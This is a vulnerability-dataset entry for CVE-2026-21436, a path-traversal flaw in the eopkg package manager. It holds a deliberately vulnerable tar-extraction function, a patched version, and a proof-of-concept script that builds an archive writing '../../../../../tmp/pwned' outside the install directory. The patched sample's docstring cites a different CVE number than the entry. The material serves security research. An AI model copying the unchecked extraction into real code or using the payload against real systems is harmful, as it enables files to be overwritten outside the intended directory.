VAITP Dataset

← Back to the dataset

CVE-2026-21436

Malicious eopkg packages can escape the –destdir installation path.

  • CVSS 5.8
  • CWE-24
  • Input Validation and Sanitization
  • Local

eopkg is a Solus package manager implemented in python3. In versions prior to 4.4.0, a malicious package could escape the directory set by `–destdir`. This requires the installation of a package from a malicious or compromised source. Files in such packages would not be installed in the path given by `–destdir`, but on a different location on the host. The issue has been fixed in v4.4.0. Users only installing packages from the Solus repositories are not affected.

CVSS base score
5.8
Published
2026-01-01
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Local
Impact
Privilege Escalation
Affected component
eopkg
Fixed by upgrading
Yes

Solution

Upgrade eopkg to version 4.4.0 or later.

Vulnerable code sample

import os
import tarfile

def install_package_files(package_archive, destdir):
    """
    This function represents the vulnerable logic. It extracts all members
    from a tar archive (representing an eopkg package) into a destination
    directory specified by 'destdir'.
    """
    with tarfile.open(package_archive, "r") as tar:
        for member in tar.getmembers():
            # THE VULNERABILITY:
            # The member.name, which comes from the untrusted package, is
            # directly joined with the destination directory. No validation
            # is performed to check for path traversal characters like '..'.
            # A malicious package could have a file named '../../etc/passwd'
            # which would cause os.path.join to create a path outside of 'destdir'.
            target_path = os.path.join(destdir, member.name)

            # The application then proceeds to write to this potentially malicious path.
            if member.isdir():
                # For directories, just create them.
                if not os.path.exists(target_path):
                    os.makedirs(target_path)
            else:
                # For files, ensure the parent directory exists.
                parent_dir = os.path.dirname(target_path)
                if not os.path.exists(parent_dir):
                    os.makedirs(parent_dir)

                # Extract the file to the calculated path.
                try:
                    source = tar.extractfile(member)
                    with open(target_path, "wb") as target:
                        target.write(source.read())
                except Exception:
                    # In a real scenario, handle symlinks, etc.
                    pass

Patched code sample

import os
import tarfile
from io import BytesIO

def safe_extract(tar_archive_bytes, destdir):
    """
    Extracts a tar archive to a destination directory, preventing path
    traversal vulnerabilities (like CVE-2023-24136 in eopkg).

    This function represents the fix by ensuring that any file path
    within the archive, when resolved, remains inside the specified
    destination directory.

    Args:
        tar_archive_bytes (bytes): The byte content of the tar archive.
        destdir (str): The target directory for extraction.

    Raises:
        PermissionError: If a file in the archive attempts to write
                         outside of the `destdir`.
    """
    # Ensure the destination directory is a resolved, absolute path for comparison.
    # This is the trusted root.
    real_destdir = os.path.realpath(destdir)

    # In a real scenario, this would be `tarfile.open(name=...)`
    with tarfile.open(fileobj=BytesIO(tar_archive_bytes), mode='r') as tar:
        for member in tar.getmembers():
            if not member.isfile():
                continue

            member_path = member.name

            # --- THE FIX ---
            # The core of the fix is to validate the path before any FS operation.
            # 1. Prevent absolute paths in the archive from overwriting system files.
            #    os.path.join('/tmp/dest', '/etc/passwd') becomes '/etc/passwd'.
            safe_member_path = member_path.lstrip('/\\')

            # 2. Create the full, intended destination path.
            intended_path = os.path.join(real_destdir, safe_member_path)

            # 3. Resolve the path to its canonical form, evaluating any '..' or symlinks.
            #    This is what an attacker's path would resolve to on the filesystem.
            resolved_path = os.path.realpath(intended_path)

            # 4. Check if the resolved path is still within the trusted destination directory.
            #    os.path.commonpath is a robust way to verify this.
            if os.path.commonpath([real_destdir, resolved_path]) != real_destdir:
                raise PermissionError(
                    f"Path traversal attempt detected. "
                    f"'{member.name}' would write to '{resolved_path}', "
                    f"which is outside of the destination '{real_destdir}'."
                )
            # --- END OF FIX ---

            # If the path is safe, proceed with extraction.
            # In a real implementation, you would create parent directories first.
            print(f"[SAFE] Extracting '{member.name}' to '{resolved_path}'")
            # The following line is commented out to prevent actual file writes.
            # tar.extract(member, path=destdir)


if __name__ == '__main__':
    # --- DEMONSTRATION ---

    # 1. Define a secure destination directory for our package installation.
    install_root = "/tmp/install_root"
    os.makedirs(install_root, exist_ok=True)
    print(f"Installation destination directory set to: {os.path.realpath(install_root)}\n")

    # 2. Create a mock malicious tar archive in memory.
    # It contains a legitimate file and a file attempting path traversal.
    malicious_tar_bytes = BytesIO()
    with tarfile.open(fileobj=malicious_tar_bytes, mode='w') as tar:
        # A normal, safe file
        info_safe = tarfile.TarInfo(name="usr/bin/program")
        info_safe.size = 10
        tar.addfile(info_safe, BytesIO(b"safe file"))

        # A malicious file attempting to escape the destdir
        info_malicious = tarfile.TarInfo(name="../../etc/malicious_file")
        info_malicious.size = 15
        tar.addfile(info_malicious, BytesIO(b"vulnerable file"))

    malicious_tar_bytes.seek(0)

    # 3. Attempt to extract the malicious archive using the secured function.
    print("--- Attempting to extract a malicious package ---")
    try:
        safe_extract(malicious_tar_bytes.getvalue(), install_root)
    except PermissionError as e:
        print(f"\n[ERROR] Vulnerability blocked successfully!")
        print(f"Details: {e}")

    # 4. Clean up
    import shutil
    shutil.rmtree(install_root)

Payload

import tarfile
import io
import os

# The content of the file that will be written outside the destination directory.
file_content = b"This system is vulnerable to path traversal."
# The malicious path using '..' to escape the intended directory.
# This will attempt to write a file named 'pwned' in the /tmp directory.
malicious_path = "../../../../../tmp/pwned"

# In-memory buffer for the file content.
file_data = io.BytesIO(file_content)

# This script creates a tar archive named 'malicious_component.tar'.
# This tar archive would then be included as the 'install.tar.xz'
# (or similar component) within a malicious .eopkg package.
with tarfile.open("malicious_component.tar", "w") as tar:
    # Create a TarInfo object with the malicious path.
    tar_info = tarfile.TarInfo(name=malicious_path)
    tar_info.size = len(file_content)
    
    # Add the file to the archive using the malicious TarInfo.
    tar.addfile(tarinfo=tar_info, fileobj=file_data)

# The generated 'malicious_component.tar' is the payload component.

Cite this entry

@misc{vaitp:cve202621436,
  title        = {{Malicious eopkg packages can escape the --destdir installation path.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-21436},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-21436/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::